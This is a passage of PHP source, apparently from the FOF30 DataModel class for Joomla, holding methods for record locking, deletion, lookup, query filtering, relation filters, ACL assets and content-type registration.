$privileges[$k] = $privileges[$k] || $v; } } // If you are a Super User, component manager or allowed to edit the state of records we unlock it if ($privileges['admin'] || $privileges['manage'] || $privileges['editstate']) { return $this->unlock(); } // If you are the owner of the record and have core.edit.own privilege we will unlock it. $owner = 0; if ($this->hasField('created_by')) { $owner = $this->getFieldValue('created_by'); } if ($privileges['editown'] && ($owner == $userId)) { return $this->unlock(); } // All else failed, you don't have the privilege to unlock this item. throw new LockedRecord; } /** * Reset the record data * * @param boolean $useDefaults Should I use the default values? Default: yes * @param boolean $resetRelations Should I reset the relations too? Default: no * * @return static Self, for chaining */ public function reset($useDefaults = true, $resetRelations = false) { $this->recordData = []; $this->whereClauses = []; foreach ($this->knownFields as $fieldName => $information) { if ($useDefaults) { $this->recordData[$fieldName] = $information->Default; } else { $this->recordData[$fieldName] = null; } } if ($resetRelations) { $this->relationManager->resetRelationData(); $this->eagerRelations = []; } $this->relationFilters = []; $this->triggerEvent('onAfterReset', [$useDefaults, $resetRelations]); return $this; } /** * Automatically performs a hard or soft delete, based on the value of $this->softDelete. A soft delete simply sets * enabled to -2 whereas a hard delete removes the data from the database. If you want to force a specific behaviour * directly call trash() for a soft delete or forceDelete() for a hard delete. * * @param mixed $id Primary key (id field) value * * @return static for chaining */ public function delete($id = null) { if ($this->softDelete) { return $this->trash($id); } else { return $this->forceDelete($id); } } /** * Delete a record, either the currently loaded one or the one specified in $id. If an $id is specified that record * is loaded before trying to delete it. In the end the data model is reset. * * @param mixed $id Primary key (id field) value * * @return static for chaining */ public function forceDelete($id = null) { if (!empty($id)) { $this->findOrFail($id); } $id = $this->getId(); if (!$id) { throw new RecordNotLoaded("Can't delete a not loaded DataModel object"); } $this->triggerEvent('onBeforeDelete', [&$id]); $db = $this->getDbo(); $query = $db->getQuery(true) ->delete() ->from($this->tableName) ->where($db->qn($this->idFieldName) . ' = ' . $db->q($id)); $db->setQuery($query)->execute(); $this->triggerEvent('onAfterDelete', [&$id]); $this->reset(); return $this; } /** * Generic check for whether dependencies exist for this object in the db schema. This method is NOT used by * default. If you want to use it you will have to override your delete(), trash() or forceDelete() method, * or create an onBeforeDelete and/or onBeforeTrash event handler. * * @param integer $oid The primary key of the record to delete * @param array $joins Any joins to foreign table, used to determine if dependent records exist * * @return void * * @throws RuntimeException If you should not delete the record (the message tells you why) */ public function canDelete($oid = null, $joins = null) { $pkField = $this->getKeyName(); if ($oid) { $this->$pkField = intval($oid); } if (!$this->$pkField) { throw new InvalidArgumentException('Master table should be loaded or an ID should be passed'); } if (is_array($joins)) { $db = $this->getDbo(); $query = $db->getQuery(true) ->select($db->qn('master') . '.' . $db->qn($pkField)) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('master')); $tableNo = 0; foreach ($joins as $table) { // Sanity check on passed array $check = ['idfield', 'idalias', 'name', 'joinfield', 'label']; $result = array_intersect($check, array_keys($table)); if (count($result) != count($check)) { throw new InvalidArgumentException('Join array missing some keys, please check the documentation'); } $tableNo++; $query->select( [ 'COUNT(DISTINCT ' . $db->qn('t' . $tableNo) . '.' . $db->qn($table['idfield']) . ') AS ' . $db->qn($table['idalias']), ] ); $query->join('LEFT', $db->qn($table['name']) . ' AS ' . $db->qn('t' . $tableNo) . ' ON ' . $db->qn('t' . $tableNo) . '.' . $db->qn($table['joinfield']) . ' = ' . $db->qn('master') . '.' . $db->qn($pkField) ); } $query->where($db->qn('master') . '.' . $db->qn($pkField) . ' = ' . $db->q($this->$pkField)); $query->group($db->qn('master') . '.' . $db->qn($pkField)); $this->getDbo()->setQuery((string) $query); $obj = $this->getDbo()->loadObject(); $msg = []; $i = 0; foreach ($joins as $table) { $pkField = $table['idalias']; if ($obj->$pkField > 0) { $msg[] = Text::_($table['label']); } $i++; } if (count($msg)) { $option = $this->container->componentName; $comName = $this->container->bareComponentName; $tbl = $this->getTableName(); $tview = str_replace('#__' . $comName . '_', '', $tbl); $prefix = $option . '_' . $tview . '_NODELETE_'; $message = '<ul>'; foreach ($msg as $key) { $message .= '<li>' . Text::_(strtoupper($prefix . $key)) . '</li>'; } $message .= '</ul>'; throw new RuntimeException($message); } } } /** * Find and load a single record based on the provided key values. If the record is not found an exception is thrown * * @param array|mixed $keys An optional primary key value to load the row by, or an array of fields to match. * If not set the "id" state variable or, if empty, the identity column's value is used * * @return static Self, for chaining * * @throws RuntimeException When the row is not found */ public function findOrFail($keys = null) { $this->find($keys); // We have to assign the value, since empty() is not triggering the __get magic method // http://stackoverflow.com/questions/2045791/php-empty-on-get-accessor $value = $this->getId(); if (empty($value)) { throw new RecordNotLoaded; } return $this; } /** * Method to load a row from the database by primary key. Used for JTableInterface compatibility. * * @param mixed $keys An optional primary key value to load the row by, or an array of fields to match. If * not set the instance property value is used. * @param boolean $reset True to reset the default values before loading the new row. * * @return boolean True if successful. False if row not found. * * @throws RuntimeException * @throws UnexpectedValueException * @link http://docs.joomla.org/JTable/load * @since 3.2 */ public function load($keys = null, $reset = true) { if ($reset) { $this->reset(); } try { $this->findOrFail($keys); } catch (Exception $e) { return false; } return true; } /** * Find and load a single record based on the provided key values * * @param array|mixed $keys An optional primary key value to load the row by, or an array of fields to match. * If not set the "id" state variable or, if empty, the identity column's value is used * * @return static Self, for chaining */ public function find($keys = null) { // Execute the onBeforeLoad event $this->triggerEvent('onBeforeLoad', [&$keys]); // If we are not given any keys, try to get the ID from the state or the table data if (empty($keys)) { $id = $this->getState('id', 0); if (empty($id)) { $id = $this->getId(); } if (empty($id)) { $this->triggerEvent('onAfterLoad', [false, &$keys]); $this->reset(); return $this; } $keys = [$this->idFieldName => $id]; } elseif (!is_array($keys)) { if (empty($keys)) { $this->triggerEvent('onAfterLoad', [false, &$keys]); $this->reset(); return $this; } $keys = [$this->idFieldName => $keys]; } // Reset the table $this->reset(); // Get the query $db = $this->getDbo(); $query = $db->getQuery(true) ->select('*') ->from($db->qn($this->tableName)); // Apply key filters foreach ($keys as $filterKey => $filterValue) { if ($filterKey == 'id') { $filterKey = $this->getIdFieldName(); } if (array_key_exists($filterKey, $this->recordData)) { $query->where($db->qn($filterKey) . ' = ' . $db->q($filterValue)); } } // Get the row $db->setQuery($query); try { $row = $db->loadAssoc(); } catch (Exception $e) { $row = null; } if (empty($row)) { $this->triggerEvent('onAfterLoad', [false, &$keys]); return $this; } // Bind the data $this->bind($row); $this->relationManager->rebase($this); // Execute the onAfterLoad event $this->triggerEvent('onAfterLoad', [true, &$keys]); return $this; } /** * Create a new record with the provided data * * @param array $data The data to use in the new record * * @return static Self, for chaining */ public function create($data) { return $this->reset()->bind($data)->save(); } /** * Return the first item found or create a new one based on the provided $data * * @param array $data Data for the newly created item * * @return static */ public function firstOrCreate($data) { $item = $this->get(true, 0, 1)->first(); if (is_null($item)) { $item = clone $this; $item->create($data); } return $item; } /** * Return the first item found or throw a \RuntimeException * * @return static * * @throws RuntimeException */ public function firstOrFail() { $item = $this->get(true, 0, 1)->first(); if (is_null($item)) { throw new NoItemsFound(get_class($this)); } return $item; } /** * Return the first item found or create a new, blank one * * @return static */ public function firstOrNew() { $item = $this->get(true, 0, 1)->first(); if (is_null($item)) { $item = clone $this; $item->reset(); } return $item; } /** * Adds a behaviour by its name. It will search the following classes, in this order: * \component_namespace\Model\modelName\Behaviour\behaviourName * \component_namespace\Model\Behaviour\behaviourName * \FOF30\Model\DataModel\Behaviour\behaviourName * where: * component_namespace is the namespace of the component as defined in the container * modelName is the model's name, first character uppercase, e.g. Baz * behaviourName is the $behaviour parameter, first character uppercase, e.g. Something * * @param string $behaviour The behaviour's name * * @return static Self, for chaining */ public function addBehaviour($behaviour) { $prefixes = [ $this->container->getNamespacePrefix() . 'Model\\Behaviour\\' . ucfirst($this->getName()), $this->container->getNamespacePrefix() . 'Model\\Behaviour', '\\FOF30\\Model\\DataModel\\Behaviour', ]; foreach ($prefixes as $prefix) { $className = $prefix . '\\' . ucfirst($behaviour); if (class_exists($className, true) && !$this->behavioursDispatcher->hasObserverClass($className)) { /** @var Observer $o */ $observer = new $className($this->behavioursDispatcher); $this->behavioursDispatcher->attach($observer); return $this; } } return $this; } /** * Removes a behaviour by its name. It will search the following classes, in this order: * \component_namespace\Model\modelName\Behaviour\behaviourName * \component_namespace\Model\DataModel\Behaviour\behaviourName * \FOF30\Model\DataModel\Behaviour\behaviourName * where: * component_namespace is the namespace of the component as defined in the container * modelName is the model's name, first character uppercase, e.g. Baz * behaviourName is the $behaviour parameter, first character uppercase, e.g. Something * * @param string $behaviour The behaviour's name * * @return static Self, for chaining */ public function removeBehaviour($behaviour) { $prefixes = [ $this->container->getNamespacePrefix() . 'Model\\Behaviour\\' . ucfirst($this->getName()), $this->container->getNamespacePrefix() . 'Model\\Behaviour', '\\FOF30\\Model\\DataModel\\Behaviour', ]; foreach ($prefixes as $prefix) { $className = ltrim($prefix . '\\' . ucfirst($behaviour), '\\'); $observer = $this->behavioursDispatcher->getObserverByClass($className); if (is_null($observer)) { continue; } $this->behavioursDispatcher->detach($observer); return $this; } return $this; } /** * Gives you access to the behaviours dispatcher, allowing to attach/detach behaviour observers * * @return Dispatcher */ public function &getBehavioursDispatcher() { return $this->behavioursDispatcher; } /** * Set the field and direction of ordering for the query returned by buildQuery. * Alias of $this->setState('filter_order', $fieldName) and $this->setState('filter_order_Dir', $direction) * * @param string $fieldName The field name to order by * @param string $direction The direction to order by (ASC for ascending or DESC for descending) * * @return static For chaining */ public function orderBy($fieldName, $direction = 'ASC') { $direction = strtoupper($direction); if (!in_array($direction, ['ASC', 'DESC'])) { $direction = 'ASC'; } $this->setState('filter_order', $fieldName); $this->setState('filter_order_Dir', $direction); return $this; } /** * Set the limitStart for the query, i.e. how many records to skip. * Alias of $this->setState('limitstart', $limitStart); * * @param integer $limitStart Records to skip from the start * * @return static For chaining */ public function skip($limitStart = null) { // Only positive integers are allowed if (!is_int($limitStart) || $limitStart < 0 || !$limitStart) { $limitStart = 0; } $this->setState('limitstart', $limitStart); return $this; } /** * Set the limit for the query, i.e. how many records to return. * Alias of $this->setState('limit', $limit); * * @param integer $limit Maximum number of records to return * * @return static For chaining */ public function take($limit = null) { // Only positive integers are allowed if (!is_int($limit) || $limit < 0 || !$limit) { $limit = 0; } $this->setState('limit', $limit); return $this; } /** * Return the record's data as an array * * @return array */ public function toArray() { return $this->recordData; } /** * Returns the record's data as a JSON string * * @param boolean $prettyPrint Should I format the JSON for pretty printing * * @return string */ public function toJson($prettyPrint = false) { if (defined('JSON_PRETTY_PRINT')) { $options = $prettyPrint ? JSON_PRETTY_PRINT : 0; } else { $options = 0; } return json_encode($this->recordData, $options); } /** * Touch a record, updating its modified_on and/or modified_by columns * * @param integer $userId Optional user ID of the user touching the record * * @return static Self, for chaining */ public function touch($userId = null) { if (!$this->getId()) { throw new RecordNotLoaded("Can't touch a not loaded DataModel"); } if (!$this->hasField('modified_on') && !$this->hasField('modified_by')) { return $this; } $db = $this->getDbo(); $date = new Date(); // Update the created_on / modified_on if ($this->hasField('modified_on')) { $modified_on = $this->getFieldAlias('modified_on'); $this->$modified_on = $date->toSql(false, $db); } // Update the created_by / modified_by values if necessary if ($this->hasField('modified_by')) { if (empty($userId)) { $userId = $this->container->platform->getUser()->id; } $modified_by = $this->getFieldAlias('modified_by'); $this->$modified_by = $userId; } $this->save(); return $this; } /** * Lock a record by setting its locked_on and/or locked_by columns * * @param integer $userId * * @return static Self, for chaining */ public function lock($userId = null) { if (!$this->getId()) { throw new CannotLockNotLoadedRecord; } if (!$this->hasField('locked_on') && !$this->hasField('locked_by')) { return $this; } $this->triggerEvent('onBeforeLock', []); $db = $this->getDbo(); if ($this->hasField('locked_on')) { $date = new Date(); $locked_on = $this->getFieldAlias('locked_on'); $this->$locked_on = $date->toSql(false, $db); } if ($this->hasField('locked_by')) { if (empty($userId)) { $userId = $this->container->platform->getUser()->id; } $locked_by = $this->getFieldAlias('locked_by'); $this->$locked_by = $userId; } $this->save(); $this->triggerEvent('onAfterLock'); return $this; } /** * Unlock a record by resetting its locked_on and/or locked_by columns * * @return static Self, for chaining */ public function unlock() { if (!$this->getId()) { throw new RecordNotLoaded("Can't unlock a not loaded DataModel"); } if (!$this->hasField('locked_on') && !$this->hasField('locked_by')) { return $this; } $this->triggerEvent('onBeforeUnlock', []); $db = $this->getDbo(); if ($this->hasField('locked_on')) { $locked_on = $this->getFieldAlias('locked_on'); $this->$locked_on = $this->isNullableField('locked_on') ? null : $db->getNullDate(); } if ($this->hasField('locked_by')) { $locked_by = $this->getFieldAlias('locked_by'); $this->$locked_by = 0; } $this->save(); $this->triggerEvent('onAfterUnlock'); return $this; } /** * Is this record locked by a different user than $userId? * * @param integer $userId * * @return bool True if the record is locked */ public function isLocked($userId = null) { if (!$this->hasField('locked_on') && !$this->hasField('locked_by')) { return false; } $nullDate = $this->isNullableField('locked_on') ? null : $this->getDbo()->getNullDate(); // Get the locked_by / locked_on $locked_on = $nullDate; $locked_by = 0; if ($this->hasField('locked_on')) { $locked_on = $this->getFieldValue('locked_on', $nullDate); if (empty($locked_on)) { $locked_on = $nullDate; } } if ($this->hasField('locked_by')) { $locked_by = $this->getFieldValue('locked_by', 0); if (empty($locked_by)) { $locked_by = 0; } } $allowedUsers = [0]; if (!empty($userId)) { $allowedUsers[] = $userId; } if (in_array($locked_by, $allowedUsers)) { return false; } return !is_null($locked_on) && ($locked_on != $nullDate); } /** * Automatically uses the Filters behaviour to filter records in the model based on your criteria. * * @param string $fieldName The field name to filter on * @param string $method The filtering method, e.g. <>, =, != and so on * @param mixed $values The value you're filtering on. Some filters (e.g. interval or between) require an * array of values * * @return static For chaining */ public function where($fieldName, $method = '=', $values = null) { // Make sure the Filters behaviour is added to the model if (!$this->behavioursDispatcher->hasObserverClass('FOF30\\Model\\DataModel\\Behaviour\\Filters')) { $this->addBehaviour('filters'); } // If we are dealing with the primary key, let's set the field name to "id". This is a convention and it will // be used inside the Filters behaviour // -- Let's not do this. The Filters behaviour works just fine with the regular field name! /** * if ($fieldName == $this->getIdFieldName()) * { * $fieldName = 'id'; * } **/ $options = [ 'method' => $method, 'value' => $values, ]; // Handle method aliases switch ($method) { case '<>': $options['method'] = 'search'; $options['operator'] = '!='; break; case 'lt': $options['method'] = 'search'; $options['operator'] = '<'; break; case 'le': $options['method'] = 'search'; $options['operator'] = '<='; break; case 'gt': $options['method'] = 'search'; $options['operator'] = '>'; break; case 'ge': $options['method'] = 'search'; $options['operator'] = '>='; break; case 'eq': $options['method'] = 'search'; $options['operator'] = '='; break; case 'neq': case 'ne': $options['method'] = 'search'; $options['operator'] = '!='; break; case '<': case '!<': case '<=': case '!<=': case '>': case '!>': case '>=': case '!>=': case '!=': case '=': $options['method'] = 'search'; $options['operator'] = $method; break; case 'like': case '~': case '%': $options['method'] = 'partial'; break; case '==': case '=[]': case '=()': case 'in': $options['method'] = 'exact'; break; case '()': case '[]': case '[)': case '(]': $options['method'] = 'between'; break; case ')(': case ')[': case '](': case '][': $options['method'] = 'outside'; break; case '*=': case 'every': $options['method'] = 'interval'; break; case '?=': $options['method'] = 'search'; break; default: throw new InvalidSearchMethod('Method ' . $method . ' is unsupported'); break; } // Handle real methods switch ($options['method']) { case 'between': case 'outside': if (is_array($values) && (count($values) > 1)) { // Get the from and to values from the $values array if (isset($values['from']) && isset($values['to'])) { $options['from'] = $values['from']; $options['to'] = $values['to']; } else { $options['from'] = array_shift($values); $options['to'] = array_shift($values); } unset($options['value']); } else { // $values is not a from/to array. Treat as = (between) or != (outside) if (is_array($values)) { $values = array_shift($values); } $options['operator'] = ($options['method'] == 'between') ? '=' : '!='; $options['value'] = $values; $options['method'] = 'search'; } break; case 'interval': if (is_array($values) && (count($values) > 1)) { // Get the value and interval from the $values array if (isset($values['value']) && isset($values['interval'])) { $options['value'] = $values['value']; $options['interval'] = $values['interval']; } else { $options['value'] = array_shift($values); $options['interval'] = array_shift($values); } } else { // $values is not a value/interval array. Treat as = if (is_array($values)) { $values = array_shift($values); } $options['value'] = $values; $options['method'] = 'search'; $options['operator'] = '='; } break; case 'search': // We don't have to do anything if the operator is already set if (isset($options['operator'])) { break; } if (is_array($values) && (count($values) > 1)) { // Get the operator and value from the $values array if (isset($values['operator']) && isset($values['value'])) { $options['operator'] = $values['operator']; $options['value'] = $values['value']; } else { $options['operator'] = array_shift($values); $options['value'] = array_shift($values); } } break; } $this->setState($fieldName, $options); return $this; } /** * Add custom, pre-compiled WHERE clauses for use in buildQuery. The raw WHERE clause you specify is added as is to * the query generated by buildQuery. You are responsible for quoting and escaping the field names and data found * inside the WHERE clause. * * Using this method is a generally bad idea. You are better off overriding buildQuery and using state variables to * customise the query build built instead of using this method to push raw SQL to the query builder. Mixing your * business logic with raw SQL makes your application harder to maintain and refactor as dependencies to your * database schema creep in areas of your code that should have nothing to do with it. * * @param string $rawWhereClause The raw WHERE clause to add * * @return static For chaining */ public function whereRaw($rawWhereClause) { $this->whereClauses[] = $rawWhereClause; return $this; } /** * Instructs the model to eager load the specified relations. The $relations array can have the format: * * array('relation1', 'relation2') * Eager load relation1 and relation2 without any callbacks * array('relation1' => $callable1, 'relation2' => $callable2) * Eager load relation1 with callback $callable1 etc * array('relation1', 'relation2' => $callable2) * Eager load relation1 without a callback, relation2 with callback $callable2 * * The callback must have the signature function(\JDatabaseQuery $query) and doesn't return a value. It is * supposed to modify the query directly. * * Please note that eager loaded relations produce their queries without going through the respective model. Instead * they generate a SQL query directly, then map the loaded results into a DataCollection. * * @param array $relations The relations to eager load. See above for more information. * * @return static For chaining */ public function with(array $relations) { if (empty($relations)) { $this->eagerRelations = []; return $this; } $knownRelations = $this->relationManager->getRelationNames(); foreach ($relations as $k => $v) { if (is_callable($v)) { $relName = $k; $callback = $v; } else { $relName = $v; $callback = null; } if (in_array($relName, $knownRelations)) { $this->eagerRelations[$relName] = $callback; } } return $this; } /** * Filter the model based on the fulfilment of relations. For example: * $posts->has('comments', '>=', 10)->get(); * will return all posts with at least 10 comments. * * @param string $relation The relation to query * @param string $operator The comparison operator. Same operators as the where() method. * @param mixed $value The value(s) to compare against. * @param bool $replace When true (default) any existing relation filters for the same relation will be * replaced * * @return static */ public function has($relation, $operator = '>=', $value = 1, $replace = true) { // Make sure the Filters behaviour is added to the model if (!$this->behavioursDispatcher->hasObserverClass('FOF30\\Model\\DataModel\\Behaviour\\RelationFilters')) { $this->addBehaviour('relationFilters'); } $filter = [ 'relation' => $relation, 'method' => $operator, 'operator' => $operator, 'value' => $value, ]; // Handle method aliases switch ($operator) { case '<>': $filter['method'] = 'search'; $filter['operator'] = '!='; break; case 'lt': $filter['method'] = 'search'; $filter['operator'] = '<'; break; case 'le': $filter['method'] = 'search'; $filter['operator'] = '<='; break; case 'gt': $filter['method'] = 'search'; $filter['operator'] = '>'; break; case 'ge': $filter['method'] = 'search'; $filter['operator'] = '>='; break; case 'eq': $filter['method'] = 'search'; $filter['operator'] = '='; break; case 'neq': case 'ne': $filter['method'] = 'search'; $filter['operator'] = '!='; break; case '<': case '!<': case '<=': case '!<=': case '>': case '!>': case '>=': case '!>=': case '!=': case '=': $filter['method'] = 'search'; $filter['operator'] = $operator; break; case 'like': case '~': case '%': $filter['method'] = 'partial'; break; case '==': case '=[]': case '=()': case 'in': $filter['method'] = 'exact'; break; case '()': case '[]': case '[)': case '(]': $filter['method'] = 'between'; break; case ')(': case ')[': case '](': case '][': $filter['method'] = 'outside'; break; case '*=': case 'every': $filter['method'] = 'interval'; break; case '?=': $filter['method'] = 'search'; break; case 'callback': $filter['method'] = 'callback'; $filter['operator'] = 'callback'; break; default: throw new InvalidSearchMethod('Operator ' . $operator . ' is unsupported'); break; } // Handle real methods switch ($filter['method']) { case 'between': case 'outside': if (is_array($value) && (count($value) > 1)) { // Get the from and to values from the $value array if (isset($value['from']) && isset($value['to'])) { $filter['from'] = $value['from']; $filter['to'] = $value['to']; } else { $filter['from'] = array_shift($value); $filter['to'] = array_shift($value); } unset($filter['value']); } else { // $value is not a from/to array. Treat as = (between) or != (outside) if (is_array($value)) { $value = array_shift($value); } $filter['operator'] = ($filter['method'] == 'between') ? '=' : '!='; $filter['value'] = $value; $filter['method'] = 'search'; } break; case 'interval': if (is_array($value) && (count($value) > 1)) { // Get the value and interval from the $value array if (isset($value['value']) && isset($value['interval'])) { $filter['value'] = $value['value']; $filter['interval'] = $value['interval']; } else { $filter['value'] = array_shift($value); $filter['interval'] = array_shift($value); } } else { // $value is not a value/interval array. Treat as = if (is_array($value)) { $value = array_shift($value); } $filter['value'] = $value; $filter['method'] = 'search'; $filter['operator'] = '='; } break; case 'search': // We don't have to do anything if the operator is already set if (isset($filter['operator'])) { break; } if (is_array($value) && ((is_array($value) || $value instanceof \Countable ? count($value) : 0) > 1)) { // Get the operator and value from the $value array if (isset($value['operator']) && isset($value['value'])) { $filter['operator'] = $value['operator']; $filter['value'] = $value['value']; } else { $filter['operator'] = array_shift($value); $filter['value'] = array_shift($value); } } break; case 'callback': if (!is_callable($filter['value'])) { $filter['method'] = 'search'; $filter['operator'] = '='; $filter['value'] = 1; } break; } if ($replace && !empty($this->relationFilters)) { foreach ($this->relationFilters as $k => $v) { if ($v['relation'] == $relation) { unset ($this->relationFilters[$k]); } } } $this->relationFilters[] = $filter; return $this; } /** * Advanced model filtering on the fulfilment of relations. Unlike has() you can provide your own callback which * modifies the COUNT subquery used to compare against the relation. The $callBack has the signature * function(\JDatabaseQuery $query) * and MUST return a string. The $query you are passed is the COUNT subquery of the relation, e.g. * SELECT COUNT(*) FROM #__comments AS reltbl WHERE reltbl.user_id = user_id * You have to return a WHERE clause for the model's query, e.g. * (SELECT COUNT(*) FROM #__comments AS reltbl WHERE reltbl.user_id = user_id) BETWEEN 1 AND 20 * * @param string $relation The relation to query against * @param callable $callBack The callback to use for filtering * @param bool $replace When true (default) any existing relation filters for the same relation will be * replaced * * @return static */ public function whereHas($relation, $callBack, $replace = true) { $this->has($relation, 'callback', $callBack, $replace); return $this; } /** * Returns the relations manager of the model * * @return RelationManager */ public function &getRelations() { return $this->relationManager; } /** * Gets the relation filter definitions, for use by the RelationFilters behaviour * * @return array */ public function getRelationFilters() { return $this->relationFilters; } /** * Returns the list of relations which are touched by save() and touch() * * @return array */ public function &getTouches() { return $this->touches; } /** * Method to get the rules for the record. * * @return Rules object */ public function getRules() { return $this->_rules; } /** * Method to set rules for the record. * * @param mixed $input A JAccessRules object, JSON string, or array. * * @return void */ public function setRules($input) { if ($input instanceof Rules) { $this->_rules = $input; } else { $this->_rules = new Rules($input); } } /** * Method to check if the record is treated as an ACL asset * * @return boolean [description] */ public function isAssetsTracked() { return $this->_trackAssets; } /** * Method to manually set this record as ACL asset or not. * We have to do this since the automatic check is made in the constructor, but here we can't set any alias. * So, even if you have an alias for `asset_id`, it wouldn't be reconized and assets won't be tracked. * * @param $state */ public function setAssetsTracked($state) { $state = (bool) $state; $this->_trackAssets = $state; } /** * Gets the has tags switch state * * @return bool */ public function hasTags() { return $this->_has_tags; } /** * Sets the has tags switch state * * @param bool $newState */ public function setHasTags($newState = false) { $this->_has_tags = $newState; } /** * Method to compute the default name of the asset. * The default name is in the form table_name.id * where id is the value of the primary key of the table. * * @return string * @throws NoAssetKey * */ public function getAssetName() { $k = $this->getKeyName(); // If there is no assetKey defined, stop here, or we'll get a wrong name if (!$this->_assetKey || !$this->$k) { throw new NoAssetKey; } return $this->_assetKey . '.' . (int) $this->$k; } /** * Method to compute the default name of the asset. * The default name is in the form table_name.id * where id is the value of the primary key of the table. * * @return string */ public function getAssetKey() { return $this->_assetKey; } /** * This method sets the asset key for the items of this table. Obviously, it * is only meant to be used when you have a table with an asset field. * * @param string $assetKey The name of the asset key to use * * @return void */ public function setAssetKey($assetKey) { $this->_assetKey = $assetKey; } /** * Method to return the title to use for the asset table. In * tracking the assets a title is kept for each asset so that there is some * context available in a unified access manager. Usually this would just * return $this->title or $this->name or whatever is being used for the * primary name of the row. If this method is not overridden, the asset name is used. * * @return string The string to use as the title in the asset table. * * @codeCoverageIgnore */ public function getAssetTitle() { return $this->getAssetName(); } /** * Method to get the parent asset under which to register this one. * By default, all assets are registered to the ROOT node with ID, * which will default to 1 if none exists. * The extended class can define a table and id to lookup. If the * asset does not exist it will be created. * * @param DataModel $model A model object for the asset parent. * @param integer $id Id to look up * * @return integer */ public function getAssetParentId($model = null, $id = null) { if ($model) { } // Prevent phpStorm's inspections from freaking out if ($id) { } // Prevent phpStorm's inspections from freaking out // For simple cases, parent to the asset root. $assets = Table::getInstance('Asset', 'JTable', ['dbo' => $this->getDbo()]); $rootId = $assets->getRootId(); if (!empty($rootId)) { return $rootId; } return 1; } /** * Method to load a row for editing from the version history table. * * @param integer $version_id Key to the version history table. * @param string $alias The type_alias in #__content_types * * @return boolean True on success * * @throws RecordNotLoaded * @throws BaseException * @since 2.3 * */ public function loadhistory($version_id, $alias) { // Only attempt to check the row in if it exists. if (!$version_id) { throw new RecordNotLoaded; } // Get an instance of the row to checkout. $historyTable = Table::getInstance('Contenthistory'); if (!$historyTable->load($version_id)) { throw new BaseException($historyTable->getError()); } $rowArray = ArrayHelper::fromObject(json_decode($historyTable->version_data)); $typeId = Table::getInstance('Contenttype')->getTypeId($alias); if ($historyTable->ucm_type_id != $typeId) { $key = $this->getKeyName(); if (isset($rowArray[$key])) { $this->{$this->idFieldName} = $rowArray[$key]; $this->unlock(); } throw new BaseException(Text::_('JLIB_APPLICATION_ERROR_HISTORY_ID_MISMATCH')); } $this->setState('save_date', $historyTable->save_date); $this->setState('version_note', $historyTable->version_note); $this->bind($rowArray); return true; } /** * Applies view access level filtering for the specified user. Useful to * filter a front-end items listing. * * @param integer $userID The user ID to use. Skip it to use the currently logged in user. * * @return static Reference to self */ public function applyAccessFiltering($userID = null) { if (!$this->hasField('access')) { return $this; } $user = $this->container->platform->getUser($userID); $accessField = $this->getFieldAlias('access'); $this->setState($accessField, $user->getAuthorisedViewLevels()); return $this; } /** * Get the content type for ucm * * @return string The content type alias * * @throws Exception If you have not set the contentType configuration variable */ public function getContentType() { if ($this->contentType) { return $this->contentType; } throw new NoContentType(get_class($this)); } /** * Check if a UCM content type exists for this resource, and * create it if it does not * * @param string $alias The content type alias (optional) * * @return void */ public function checkContentType($alias = null) { $contentType = new ContentType($this->getDbo()); if (!$alias) { $alias = $this->getContentType(); } $aliasParts = explode('.', $alias); // Fetch the extension name $component = $aliasParts[0]; $component = ComponentHelper::getComponent($component); // Fetch the name using the menu item $query = $this->getDbo()->getQuery(true); $query->select('title')->from('#__menu')->where('component_id = ' . (int) $component->id); $this->getDbo()->setQuery($query); $component_name = Text::_($this->getDbo()->loadResult()); $name = $component_name . ' ' . ucfirst($aliasParts[1]); // Create a new content type for our resource if (!$contentType->load(['type_alias' => $alias])) { $contentType->type_title = $name; $contentType->type_alias = $alias; $contentType->table = json_encode( [ 'special' => [ 'dbtable' => $this->getTableName(), 'key' => $this->getKeyName(), 'type' => $name, 'prefix' => $this->container->getNamespacePrefix() . '\\Model\\', 'class' => $this->getName(), 'config' => 'array()', ], 'common' => [ 'dbtable' => '#__ucm_content', 'key' => 'ucm_id', 'type' => 'CoreContent', 'prefix' => 'JTable', 'config' => 'array()', ], ] ); $contentType->field_mappings = json_encode( [ 'common' => [ 0 => [ "core_content_item_id" => $this->getKeyName(), "core_title" => $this->getUcmCoreAlias('title'), "core_state" => $this->getUcmCoreAlias('enabled'), "core_alias" => $this->getUcmCoreAlias('alias'), "core_created_time" => $this->getUcmCoreAlias('created_on'), "core_modified_time" => $this->getUcmCoreAlias('created_by'), "core_body" => $this->getUcmCoreAlias('body'), "core_hits" => $this->getUcmCoreAlias('hits'), "core_publish_up" => $this->getUcmCoreAlias('publish_up'), "core_publish_down" => $this->getUcmCoreAlias('publish_down'), "core_access" => $this->getUcmCoreAlias('access'), "core_params" => $this->getUcmCoreAlias('params'), "core_featured" => $this->getUcmCoreAlias('featured'), "core_metadata" => $this->getUcmCoreAlias('metadata'), "core_language" => $this->getUcmCoreAlias('language'), "core_images" => $this->getUcmCoreAlias('images'), "core_urls" => $this->getUcmCoreAlias('urls'), "core_version" => $this->getUcmCoreAlias('version'), "core_ordering" => $this->getUcmCoreAlias('ordering'), "core_metakey" => $this->getUcmCoreAlias('metakey'), "core_metadesc" => $this->getUcmCoreAlias('metadesc'), "core_catid" => $this->getUcmCoreAlias('cat_id'), "core_xreference" => $this->getUcmCoreAlias('xreference'), "asset_id" => $this->getUcmCoreAlias('asset_id'), ], ], 'special' => [ 0 => [ ], ], ] ); $ignoreFields = [ $this->getUcmCoreAlias('modified_on', null), $this->getUcmCoreAlias('modified_by', null), $this->getUcmCoreAlias('locked_by', null), $this->getUcmCoreAlias('locked_on', null), $this->getUcmCoreAlias('hits', null), $this->getUcmCoreAlias('version', null), ]; $contentType->content_history_options = json_encode( [ "ignoreChanges" => array_filter($ignoreFields, 'strlen'), ] ); $contentType->router = ''; $contentType->store(); } } /** * Set a behavior param * * @param string $name The name of the param you want to set * @param mixed $value The value to set * * @return static Self, for chaining */ public function setBehaviorParam($name, $value) { $this->_behaviorParams[$name] = $value; return $this; } /** * Get a behavior param * * @param string $name The name of the param you want to get * @param mixed $default The default value returned if not set * * @return mixed */ public function getBehaviorParam($name, $default = null) { return $this->_behaviorParams[$name] ?? $default; } /** * Set or get the backlisted filters. * * Note: passing a null $list to get the filter blacklist is deprecated as of FOF 3.1. Pleas use getBlacklistFilters * instead. * * @param mixed $list A filter or list of filters to backlist. If null return the list of backlisted filter * @param boolean $reset Reset the blacklist if true * * @return null|array Return an array of value if $list is null */ public function blacklistFilters($list = null, $reset = false) { if (!isset($list)) { return $this->getBehaviorParam('blacklistFilters', []); } if (is_string($list)) { $list = (array) $list; } if (!$reset) { $list = 